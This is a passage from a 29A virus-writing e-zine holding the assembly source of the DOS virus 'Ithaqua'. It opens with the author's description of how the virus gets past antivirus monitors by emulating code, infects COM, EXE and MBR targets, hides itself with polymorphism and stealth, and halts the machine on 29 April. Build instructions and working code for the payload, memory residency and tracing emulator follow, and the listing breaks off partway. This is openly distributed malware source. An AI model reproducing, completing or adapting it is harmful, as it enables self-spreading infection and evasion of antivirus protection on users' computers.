Copy Link
Add to Bookmark
Report
29A Issue 03 06 14
; . . . . .
; .:: .:.. .. .:.::. :.:.
; <<-=ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ==<
; .:ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ::.
; :: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:.
; .:..ÛÛÛÜÜÜÜ.ÜÜÜÜÛÛÛ.ÛÛÛ ÛÛÛ.::.:
; .:>===ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ==->> .
; ..: ::. . .:..Laboratories .:.. :.. ::..
;
;
; Replicant name.............Ithaqua
; Brain engineer.............Wintermute/29A
; Model......................Advanced Nexus-6 Final Beta
; Corporal type..............Unknown
; Size.......................8543 celular units
; Date of Birth..............28/9/1998
; Date of Termination........Reserved
;
;
; Ithaqua replicant significative data
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
; Intruding technologies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; For entering into enemy or hostile systems, Ithaqua has an unique
; feature; code emulating. This allows the owner to make a great variety
; of things, such as tracing the int21h to it's original handler. Many
; tests have been made with this, evading biocode killers and other
; hostile or neutral programs; Virstop ( F-prot ), Vsafe, Vshield
; ( McAfee ), TbDriver ( Tbav ), Sentinel ( Panda )... Smartdrv, and
; nearly any program that dares to handle int21h.
;
; The code emulator is an advanced engine about 2'7 Kb long which
; dissasembles and executes under control each instruction it finds on
; it's way to int21h, but evading at the same time antidebugging
; techniques and tricks. Some of the instructions are just executed at
; the "execution zone" in the code with special security measures,
; others are even more controlled by just emulating their efects ( this
; is so explained in the Arise Code Emulator article in this magazine )
;
; When entering a system, first of all the engine will find the
; original handler of int21h, aborting operation if not found. After
; that, it will handle with a far jmp ( EAh XX XX XX XX ) one of the
; three first instructions on the int21h handler. This jump, of course,
; is controlled by the replicant itself in order to let other programs
; access to int21h when needed and mantain it's own supremacy; when an
; int21h is called, the jump goes to the virus code. After int21h is
; restored and checks are made, it traces five instructions before
; recovering the jump, then replaces it.
;
; Also, this jump is often changed to make difficult removing the
; virus from memory. Each time int8h ( timer interrupt, non anulated by
; a cli ) is made, it changes the jump among that 3 positions. Fixes are
; made for handling when special/weird conditions occur ( such as Dos in
; UMBs )
;
;
; Autoreplicating technologies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; Ithaqua infects COM Appending/Inserting, EXE cavity/appending, and
; MBR on hard disks.
;
; For COM infection, if there's EMS available and the file is smaller
; than 32Kb, Ithaqua will load it and search a random 3-byte instruction
; among the first 255 ones to place the jump to it's code by using it's
; code emulator, making the inserting infection same as stable as an
; appending one could be. Otherwise ( if there's no EMS or the file is
; bigger than 32kb ) it will infect by the old appending technique.
;
; The EXE cavity infection isn't anything of special interest except
; it's cavity ;P. It will search for the same opcode ( no matter which
; one ) in the EXE file and if it's successful it will copy itself there
; and change the CS:IP in header. Just bored of making always the same
; infection method, not anything to really worth about.
;
; File infection in EXE cavity and COM appending is polymorphic due to
; "RNME" ( Reconstructed Necromantic Mutation Engine ). In the basics,
; this is the engine I used in Zohra virus; maybe using tables as in the
; GROG engine ( the MBR poly in this virus ) I would save space, but who
; cares, then it won't be the RNME :-P. I reduced the decrypting groups
; instructions and added some options, instructions and other stuff to
; make it even more polymorphic, as well as subroutine calls... ( well,
; AVP detected only 4% of the samples when the weekly update for Zohra
; was out, so there's something that worked good on this engine and
; better if so strenghten up <g> ).
;
; EXE appending infection is only made in two cases, where none of the
; others are performed. That is, when Windows95 is running, or in the
; rare case that the code emulator failed. To prevent crashing it also
; uses an alternative int21h handler; it uses some of the routines from
; the other infection code, but it's not compatible with them, as they
; use SFTs, etc, which don't exist in Win95. It's just that it's better
; non-condemning Ithaqua to death when on Win95 as this operating system
; is probably the most... hum... "widespread" now.
;
; MBR is done esentially to prevent user from booting out of the hard
; disk with one of those clean diskettes; so this infection doesn't load
; the whole virus. It just waits for the real virus, which then takes
; control of the int13h and kills the MBR module. I feel more secure
; getting int21h with my code emulator than with any other method :)
;
; The MBR infection is polymorphic, due to my "Gory Ruthless Opcode
; Generator", which is a new about 600 bytes long boot-oriented poly
; engine, creating two encryption layers. The original MBR is encrypted
; and stored in sector two; maybe the most interesting thing about this
; poly engine is that it's so compact, as new instructions or
; instruction groups can be easily added to make a new polymorphic
; engine; also has some stack tricks that can only be done in a boot
; oriented engine.
;
; The MBR infection check method is so simple; I was going to do some
; CRC on it and save the byte in the end before the 55AAh, but it's
; easier just to call int13h; if the resident MBR stuff is there it will
; answer us, if not, it's not there :). When it's off, the virus will be
; in memory; if you disinstall it it will fuck up the MBR when trying to
; infect, but hey, it was your phucking fault :P
;
;
; Self-concealing technology
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; Ithaqua has the typical FCB/DTA stealth, plus Windows 95 stealth,
; which is performed on 714eh and 714fh functions from int21h ( that is,
; for example, which Dos 7.0 use ).
;
; The two polymorphic engines and encryption were described above.
;
;
; Payload
; ÄÄÄÄÄÄÄÙ
;
; This time the payload is a video effect which is a snow effect on
; some text about the virus name; it is activated each 29th of April
; when the user executes the virus, and "halts the computer" :-P
;
;
;
; Final comments
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; Yep, guys. This has reached the end. I've been a lot of time
; thinking about this painful decission, but I have no chance at all.
; University is consuming all my spare time, and, let's face it, I'm
; getting a bit tired on this, as I'm all day working and I just can't
; continue as I was; this virus was a lot of months I'm afraid to count,
; and it shouldn't have wasted that amount of time on this one.
;
; So, I'm leaving 29A, and I don't know if I'll leave virus writing; I
; can't continue writing more and more viruses and articles.
;
; Anyway, I'll be around :), and by this moment I'll remain as a
; collaborator for 29A so if I have the time for writing stuff I'll
; publish it here :).
;
; And coming to the end,... 29A isn't only a bunch of people that send
; their viruses among them and publish 'em later; I've made friends and
; known many people by this group, and by all my time as a virus writer.
; So, I dedicate this little child to all of them: to the 29A Crew, to
; all people that helped me to grow, and to the people I've known this
; fantastic years on virus writing. A great hug to all of ya, and see ya
; on IRC... :)
;
;
;
; Assembly notes
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Tasm ithaqua.asm /m2
; Tlink ithaqua.obj
;
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Las grandes tristezas son as¡; se clavan tan hondo en el coraz¢n
; que parecen perdidas y el mismo coraz¢n no las siente,
; con asombro nuestro.
;
; Pero dura poco el enga¤o; est n bien clavadas para toda la vida.
; Primero es llanto, quejas, rabia quiz ; despus, es la resignaci¢n,
; una sonrisa, una sonrisa triste y dolorosa,
; como una herida abierta siempre.
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Jacinto Benavente )
;
.model tiny
.386
.code
org 00h
virus_starts label byte
Virus:
push ds
pop es
pushf
push bp ax bx cx dx es ds si di ; insertion
mov bp,0000h ; delta
BP_Init equ $-2
mov si,bp
sub si,((offset virus) - (offset we_r_there))
push si
call temp ; Future crypt
Fut_Crypt equ $-2
ret
encryption_starts label byte
encryption_length equ encryption_ends-encryption_starts
payload:
; 0 320
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ ³
; ³ ³
; ³ ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; 0+320*199 320+320*199
;
Start:
in al,40h
mov ah,al
xor word ptr cs:[random],ax
mov ax,0013h ; Mode 13h
int 10h
push 0a000h ; Begins in 0a000h
pop ds
push ds
pop es
xor di,di ; Blank screen ( all = 0 )
mov cx,64000d
xor ax,ax
rep stosb
mov di,(320d*198d) ; Final line
mov cx,640d
mov al,042d
rep stosb
push ds
push cs
pop ds
mov dx,0f03h ; Write text
mov bx,5d
mov ah,2
int 10h
lea si,VName
@write:
lodsb
or al,al
je @dabaduba
mov ah,0eh
int 10h
jmp @write
@dabaduba:
pop ds
@dabadaba:
call Create_Row ; A new snowy row
call Move_Row ; Moves a row one pixel below, checks all
call Retrace
jmp @dabadaba
Create_Row:
mov cx,8d
Randomize:
call Get_Random_NB
mov bx,320d
xor dx,dx
div bx ; Rest = AH
mov bx,dx
mov byte ptr ds:[bx],15d
loop Randomize
ret
Get_Random_NB:
mov ax,word ptr cs:[random] ; Get Random
not ah
neg al
xor ax,0dcbah
Change_R equ $-2
rol ax,3d
sub word ptr cs:[Change_R],ax
add ax,word ptr cs:[Change_R]
not word ptr cs:[Change_R]
add ah,byte ptr cs:[random]
sub al,byte ptr cs:[random+1]
xor ax,word ptr cs:[Change_R]
push ds
xor bx,bx
mov ds,ax
mov bx,word ptr ds:[413h]
pop ds
sub word ptr cs:[Change_R],bx
push ax
in al,40h
mov dl,al
pop ax
add al,dl
mov word ptr cs:[random],ax
ret
Move_Row:
mov si,64000d-320d
Check_Row:
lodsb ; Backwards so it does not fuck up
dec si
dec si
cmp al,15d
jz @Not_Blank
cmp si,64000d;-320d
jbe Check_Row
ret
@Not_Blank:
cmp byte ptr [si+321d],0
mov byte ptr [si+1],0
jnz Check_Side
cmp byte ptr [si+321d+320d],0
jnz @Just_Do_IT
call get_random_NB
and ax,01d
jz @Just_Do_IT
call get_random_NB
xor bp,bp
cmp byte ptr [si+321d+321d],0d ; down 2, right +1
jnz @no_2abajoder
inc bp
@no_2abajoder:
cmp byte ptr [si+321d+319d],0d
jnz @@then_2abajo
dec bp
jnz @@then_izquierda2abajo
and ax,1
jz @@@2_derecha
@@then_izquierda2abajo:
mov byte ptr [si+321d+319d],15d
jmp Check_Row
@@then_2abajo:
dec bp
jnz @then_2abajo
@@@2_derecha:
mov byte ptr [si+321d+321d],15d
jmp Check_Row
@then_2abajo:
mov byte ptr [si+321d+320d],15d
jmp Check_Row
@Just_Do_IT:
mov byte ptr [si+321d],15d
jmp Check_Row
Check_Side:
xor bp,bp
cmp byte ptr [si+322d],0
jnz @Check_Left
inc bp
@Check_Left:
cmp byte ptr [si+320d],0
jnz @If_Right
dec bp
jz @Select_Side
jmp @If_Left
@Select_Side:
call Get_Random_NB
and al,1d
jz @Right_Yeah
@If_Left:
mov byte ptr [si+320d],15d
jmp Check_Row
@If_Right:
dec bp
jz @Right_Yeah
mov byte ptr [si+1],15d
jmp Check_Row
@Right_Yeah:
mov byte ptr [si+322d],15d
jmp Check_Row
Retrace:
mov dx,3dah ; Delay till retrace
del1: in al,dx
test al,8
jne del1
del2: in al,dx
test al,8
je del2
ret
random: dw 1234h
; Here it starts the code after the payload.
we_r_there:
mov cl,11110000b
push es ds cs
xor ax,ax ; Computer processor below 80286 ?
push ax
popf
pushf
pop ax
and ah,cl
sub ah,cl
sub cl,10000000b
jz @go_2_end
push 7000h ; 386+ required, don't hang 80286s
popf
pushf
pop ax
and ah,cl
jnz @@no_go_2_end
@go_2_end:
jmp finished_tsr
@@no_go_2_end:
mov esi,"_29A" ; The virus makes two residence checks.
mov ax,0CACAh ; If it's installed in memory by means
int 21h ;of the int21h check, it will do nothing.
cmp esi,"RULZ"
jz @go_2_end
sub ah,05bh
push ax
push cs
pop dx
mov ax,offset @PollaGrandePaTuBoca
add ax,bp
push ax
pop cx
mov eax,"_POT"
mov word ptr cs:[_ss+bp],ss
mov word ptr cs:[_sp+bp],sp
int 13h ; But if int21h isn't installed, maybe
;we've gotta check int13h.
@PollaGrandePaTuBoca:
mov ss,word ptr cs:[_ss+bp]
mov sp,word ptr cs:[_sp+bp]
mov byte ptr cs:[are_we_on_MBR+bp],0
cmp eax,"ALSO"
pop cx
jnz @Not_in_MBR
inc byte ptr cs:[are_we_on_MBR+bp]
@Not_in_MBR:
mov ax,0c001h
adc ax,03c57h
jnc @Not_in_MBR+1
int 21h ; ax = 3508h
; Maybe we weren't
mov ah,52h
mov word ptr cs:[int8h+bp],bx
mov word ptr cs:[int8h+2+bp],es
int 21h ; ah = 52h
mov al,'Z'
mov si,es:[bx-2]
mov ds,si
search_mcb:
xor al,byte ptr ds:[0]
jz gotda_mcb
add si,word ptr ds:[3]
inc si
xor al,byte ptr ds:[0]
mov ds,si
jmp search_mcb
gotda_mcb:
mov ax,word ptr ds:[3]
cmp ax,(virus_16b*2)+24h
jbe finished_tsr
@@@FIXTHIS:
add si,ax
sub si,(virus_16b*2)+23h
mov es,si
xor si,si
xor di,di
mov cx,16d
rep movsb
sub word ptr ds:[3],(virus_16b*2)+24h
sub word ptr ds:[12h],(virus_16b*2)+24h
mov word ptr es:[3],(virus_16b*2)+24h
mov byte ptr ds:[0],'M'
mov ax,es
inc ax
mov word ptr es:[1],ax ;
mov es,ax
xor di,di
mov si,bp
mov cx,virus_size
push cs
pop ds
rep movsb ; To mem
push es
push offset Exec_mem
retf
Exec_mem:
push bp
xor bp,bp
mov ah,02ah
int 21h
cmp dx,041dh ; 29th of April
jz Payload
mov ax,5d06h
int 21h
mov word ptr cs:[Swap_seg],ds
mov word ptr cs:[Swap_off],si
;--------------
xor ax,ax
push ax
call fuck_the_rules
pop ds
mov eax,dword ptr ds:[0084h] ; Int21h setting
mov dword ptr cs:[_ip],eax
mov word ptr cs:[_ds],cs
mov word ptr cs:[_es],cs
mov word ptr cs:[_ax],03000h
mov word ptr cs:[_usemode],0000h
call check_dos_version ; Check if Win95 present
jae Adapt_W95
call Code_Emulator
jc Adapt_W95
mov dword ptr cs:[int21h],eax
mov dword ptr cs:[int21h_plural],eax
mov dword ptr cs:[jump_handle],eax
mov si,ax
rol eax,16d
mov ds,ax
push cs
pop es
lea di,saved21
movsd
movsb
mov byte ptr cs:[_HowMuch],5d ; How much to trace
mov cx,2 ; Second&Third instructions on int21h
@@emulate_it_again_Sam:
push cx cx ;is there, the jump changing
call set_a_pair_values
pop bx
shl bx,2
mov dword ptr cs:[int21h_plural+bx],eax
pop cx
dec byte ptr cs:[_theresacall]
jz @@@Ifweloop
mov byte ptr cs:[_HowMuch],35d
@@@Ifweloop:
loop @@emulate_it_again_Sam
call set_a_pair_values
dec byte ptr cs:[_theresacall]
jz @I_do_rule
mov byte ptr cs:[_HowMuch],35d
@I_do_rule:
push cs
pop ds
mov ax,2508h ; Handle int 08h
lea dx,handler22h
int 21h
cli
call rehandle
sti
jmp Anyway_Inst
Adapt_W95:
push cs ; W95 and int08h handling isn't cool :-D
xor ax,ax ;well, and Sfts, and... O:)
mov ds,ax
mov eax,dword ptr ds:[0084h]
pop ds
mov dword ptr ds:[int21h],eax
mov dword ptr ds:[jump_handle],eax
mov word ptr ds:[int21h_plural],0
Adapt_W95_2:
mov ax,2521h
lea dx,Alternate_21_handler ; Need alternative one
int 21h
Anyway_Inst:
pop bx ; Delta offset
pop es ; CS: on original host if not TSR
push es ;
dec byte ptr cs:[are_we_on_MBR]
jz @TheHardMenPath
call check_dos_version
jae @TheHardMenPath
call MBR_Infection
@TheHardMenPath:
xor bp,bp
finished_tsr:
xor ax,ax
xor bx,bx
pop ds
xlat
pop ds es
add al,033h ; Com file ?
jz com_normal
mov si,ds
add si,cs:word ptr [buffercom+0eh+bp]
add si,10h ; Stack
cli
mov ss,si
mov sp,cs:word ptr [buffercom+010h+bp]
sti
mov si,ds ; And now we jump pushing
add si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
add si,10h ; old beggining of the host
push si
push cs:word ptr [cs_ip+bp]
call restore_originals
retf
com_normal:
push cs
pop ds
push ss
pop es
lea si,[buffercom+bp]
mov di,word ptr ds:[ret_pos+bp]
push es di
movsw
movsb
cli
add sp,4d
pop di si ds es dx cx bx ax bp
popf
sub sp,24d
sti
retf 14h ; Final SP adjust
restore_originals:
xor ax,ax ; Zero registers
mov bx,ax
mov cx,ax
cwd
mov si,ax
ret
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú--ú-
; CODE EMULATOR
;-ú--ú-ú--ú-ú--úú-úú-ú--ú-úú-ú--ú-ú--ú-ú--ú-úú-ú--ú--úú-ú-úú-úú-ú--úú-ú-úú-
;
; The detail. The minimal thing. Explore. Discover. Understand. Ignore. Cry.
; Save yourself.
;
Code_Emulator:
xor cx,cx
get&exec_instruction:
mov byte ptr cs:[_pref],0 ; Segment Prefix Off
push cs ; Clean execution zone
pop es
mov al,90h
lea di,(execi-1)
push cx
mov cx,7
rep stosb
pop cx
@get&exec_part2:
add word ptr cs:[_ip],cx ; Put the IP
mov al,byte ptr cs:[_usemode]; Two operating modes
or al,al
jnz @non_tracing_int
cmp word ptr cs:[_cs],300h ; If segment <= 300h, we've got the
jae Seguiremos_adelante ;int handler
ended:
mov eax,dword ptr cs:[_ip] ; Carry off => All was fine
clc
ret
@infecting_inserting:
mov al,byte ptr cs:[_usemode+1]
cmp al,1
jnz @@@tempo
cmp cx,3
jnb @@@temp
inc byte ptr cs:[_usemode+1]
@@@temp: jmp @@@tempo
@non_tracing_int:
dec al
jnz @infecting_inserting
@@@tempo:
dec byte ptr cs:[_usemode+1] ; One instruction less
jz ended
Seguiremos_adelante:
xor ax,ax
mov ds,word ptr cs:[_cs]
mov si,word ptr cs:[_ip]
push ds si
lodsb ; Loads instruction on ds:si
push cs
pop ds
lea si,offset_table
@denuevo1:
cmp al,40h ; First opcode group
jnb @mayorde40
and al,00001111b
add al,50h
jmp @@mayorde40
@mayorde40:
cmp al,60h ; All 40h-5fh are executables and 1 byte long
jnb @@mayorde40
pop si ds
xor cx,cx
jmp @bytes1
@@mayorde40:
sub al,50h ; Correct table.
add si,ax ; Offset is a word, so we'll have to add two
add si,ax ;times the offset to jump to the right one:
;once done, we just jump.
xor cx,cx
lodsw
pop si ds
jmp ax
;-ú--ú-ú--ú-ú-ú--ú-ú-ú--úú-ú-úú-ú-ú--ú-ú-ú-úú-ú--ú--úú-úúú-ú-ú-ú-ú--ú-ú-ú--
; Specific routines for non directly-executable instructions
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-ú--ú-ú--ú-ú--úú-ú-úúú-ú-úú-ú--ú-úú-ú-ú-ú
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Fixed instructions size
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@bytes6: inc cx
@bytes5: inc cx
@bytes4: inc cx
@bytes3: inc cx
@bytes2: inc cx
@bytes1: inc cx
@Ya_sumado_cx_var:
push cs
pop es
lea di,execi
push cx
rep movsb
pop cx
jmp ejecuci¢n
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú-
; 0FEh Opcode
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-ú
@0FEh: lodsb ; It's interesting to see that so FEh has
cmp al,10h ;many instructions with "byte ptr", some of
jb @Variable1 ;them ( 50% ) are incorrect; only INC/DEC
cmp al,40h ;work
jb @wrongkind
cmp al,50h
jb @Variable1
cmp al,80h
jb @wrongkind
cmp al,90h
jb @Variable1
cmp al,0c0h
jb @wrongkind
cmp al,0d0h
jb @Variable1
jmp @wrongkind
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Invalid 8086 instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@wrongkind: ; Invalid opcode
stc
ret ; Return without getting place
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Non-fixed instructions
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Variable3: inc cx ; Non-fixed length instructions
@Variable2: inc cx
@Variable1: inc cx
inc cx
push si
lodsw
cmp ah,40h
jnb @fixedsup
and ah,00001111b
cmp ah,06h
jz @es6oevar
cmp ah,0eh
jnz @trapix_optimizado2
@es6oevar:
inc cx
@Trapix_optimizado:
inc cx
@Trapix_optimizado2:
pop si
jmp @Ya_sumado_cx_var
@fixedsup:
cmp ah,80h
jb @trapix_optimizado
cmp ah,0c0h
jb @es6oevar
jmp @Trapix_optimizado2
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú-ú--ú-úú-ú-
; Direct stack pushes and instruction prefixes
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú--ú-ú--ú-ú-ú
@pushstack:
lodsb
dec si
; All Push or pops can be emulated by normal execution.
;Only we've gotta emulate PUSH CS, cause we cannot
;emulate that opcode.
cmp al,0eh
jz @PushCsKind
cmp al,20h ;If it's a push
jb @bytes1
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Segment prefixes ( CS included )
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Prefix:
mov byte ptr cs:[_pref],al ; Segment prefix on
push ax
lodsb
inc al
pop ax
jz @@OuttaPrefix
@@SigPrefix:
cmp al,2eh
jnz @@NotCsPrefix ; Prefix isn't CS: ( this one has some
;special treatment )
push word ptr cs:[_ds]
pop word ptr cs:[_ds2]
push word ptr cs:[_cs]
pop word ptr cs:[_ds]
mov byte ptr cs:[_csflag],1
mov al,3eh ; We make DS as Prefix and move CS to DS
;so we activate flag on _csflag. It will
;be checked and then got from _ds2,
;restoring at the end of the routine
;execution.
@@NotCsPrefix:
; 26h (ES:), 36h (SS:), 3eh (DS:)
; Repz/Repnz are also emulated here
mov byte ptr cs:[execi-1],al
@@OuttaPrefix:
inc cx
jmp @get&exec_part2
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; PUSH CS instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@PushCsKind: ; Push CS: We obtain ss:sp, decrease one word, it's on ES:
; DI and the value is stored in that ss:sp, emulating.
mov ax,word ptr cs:[_cs]
mov es,word ptr cs:[_ss]
sub word ptr cs:[_sp],2
mov di,word ptr cs:[_sp]
stosw
inc cx
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Instruction: RET [number]
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@RetNum: ; The RET [num] order is exactly the same as Ret,
;although it adds SP the number stored in [num]
call @Ret_subroutine_1
@Subr_Add_Opcode:
inc si
lodsw
add word ptr cs:[_sp],ax ; A¤adimos ese n£mero.
@@Ret_Return:
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Ret instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@RetKind:
push offset @@Ret_Return
@Ret_subroutine_1:
mov es,word ptr cs:[_ss]
mov di,word ptr cs:[_sp]
push word ptr es:[di]
add word ptr cs:[_sp],2
pop word ptr cs:[_ip]
ret
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; RETF instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@RetfKind:
push offset @@Ret_Return
@Ret_subroutine_2:
mov es,word ptr cs:[_ss]
mov di,word ptr cs:[_sp]
push word ptr es:[di+2]
push word ptr es:[di]
add word ptr cs:[_sp],4
pop word ptr cs:[_ip]
pop word ptr cs:[_cs]
ret
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; RETF [num] instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@RetfNum:
call @Ret_subroutine_2
jmp @Subr_Add_Opcode
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Interrupt calls
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Interrupt: ; It's an interrupt call: it won't be executed, but the
;emulator will return a CLC, as if nothing bad happened
;with it O:)
inc cx
inc cx
mov byte ptr cs:[execi],0f8h
jmp ejecuci¢n
@Iretkind: ; *-*
call @Ret_subroutine_2
add word ptr cs:[_sp],2
mov ax,word ptr es:[di+4]
mov word ptr cs:[_flags],ax
jmp get&exec_instruction
@getflags:
push word ptr cs:[_flags]
popf
ret
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; LOOPZ instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloopz:
dec word ptr cs:[_cx] ; LOOPZ will make Loop if zero
push word ptr cs:[_flags] ;flag is on, and Decs Cx
popf
jnz @@FinalLoop
jmp @Njmp
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; LOOP & LOOPNZ instructions
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloop:
dec word ptr cs:[_cx]
jz @@FinalLoop
jmp @Njmp
@@FinalLoop:
inc cx
inc cx
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; short CALL instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Scall:
inc byte ptr cs:[_theresacall]
mov ax,word ptr cs:[_ip]
add ax,3
push ax
add ax,word ptr [si+1]
mov word ptr cs:[_ip],ax
pop ax
mov es,word ptr cs:[_ss]
sub word ptr cs:[_sp],2
mov di,word ptr cs:[_sp]
stosw
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; FAR CALL instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Fcall:
inc byte ptr cs:[_theresacall]
inc si
push si
mov es,word ptr cs:[_ss]
sub word ptr cs:[_sp],4
mov di,word ptr cs:[_sp]
movsd
pop si
push cs
pop es
lea di,[_ip]
movsd
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; Short IP jump...
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Sjmp: ; Short jump to somewhere
mov ax,word ptr [si+1]
add ax,3
add word ptr cs:[_ip],ax ; Sets new IP address
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; far jump instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Fjmp:
inc si
lodsd
mov dword ptr cs:[_ip],eax
jmp get&exec_instruction
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; conditional jumps
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Jojmp:
call @getflags
jo @Njmp
jmp @bytes2
@Jnojmp: ; Jump if not overflow
call @getflags
jno @Njmp
jmp @bytes2
@Jbjmp: ; Jump if below
call @getflags
jb @Njmp
jmp @bytes2
@Jnbjmp: ; Jump if not below
call @getflags
jnb @Njmp
jmp @bytes2
@Jzjmp: ; Jump if zero
call @getflags
jz @Njmp
jmp @bytes2
@Jnzjmp: ; Jump if not zero
call @getflags
jnz @Njmp
jmp @bytes2
@Jbejmp: ; etc
call @getflags
jbe @Njmp
jmp @bytes2
@Jajmp:
call @getflags
ja @Njmp
jmp @bytes2
@Jsjmp:
call @getflags
js @Njmp
jmp @bytes2
@Jnsjmp:
call @getflags
jns @Njmp
jmp @bytes2
@Jpejmp:
call @getflags
jpe @Njmp
jmp @bytes2
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; LOOPNZ instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloopnz: ; Will jump if CX=1 ( to 0 ), or if Zero flag=1
dec word ptr cs:[_cx] ; =0 ?
jz @@FinalLoop
call @getflags
jz @@FinalLoop ; Zero ?
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; short jump instruction ( inside )
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Njmp:
inc si
call @Add_or_sub_IP
jmp get&exec_instruction
@Jpojmp:
call @getflags
jpo @Njmp
jmp @bytes2
@Jljmp:
call @getflags
jl @Njmp
jmp @bytes2
@Jgejmp:
call @getflags
jge @Njmp
jmp @bytes2
@Jlejmp:
call @getflags
jle @Njmp
jmp @bytes2
@jgjmp:
call @getflags
jg @Njmp
jmp @bytes2
@Mjcxz:
cmp word ptr cs:[_cx],0
jz @Njmp
jmp @@FinalLoop
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; near jump emulation ( for some )
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Add_or_sub_IP:
xor ax,ax
lodsb
cmp al,80h
jb @Add_IP
mov dx,100h
inc al
inc al
sub dx,ax
xor dh,dh
sub word ptr cs:[_ip],dx
ret
@Add_IP:
inc ax
inc ax
add word ptr cs:[_ip],ax
ret
;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
; 0FFh instruction
;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
opcodeFFflag: db 0
@0FFh:
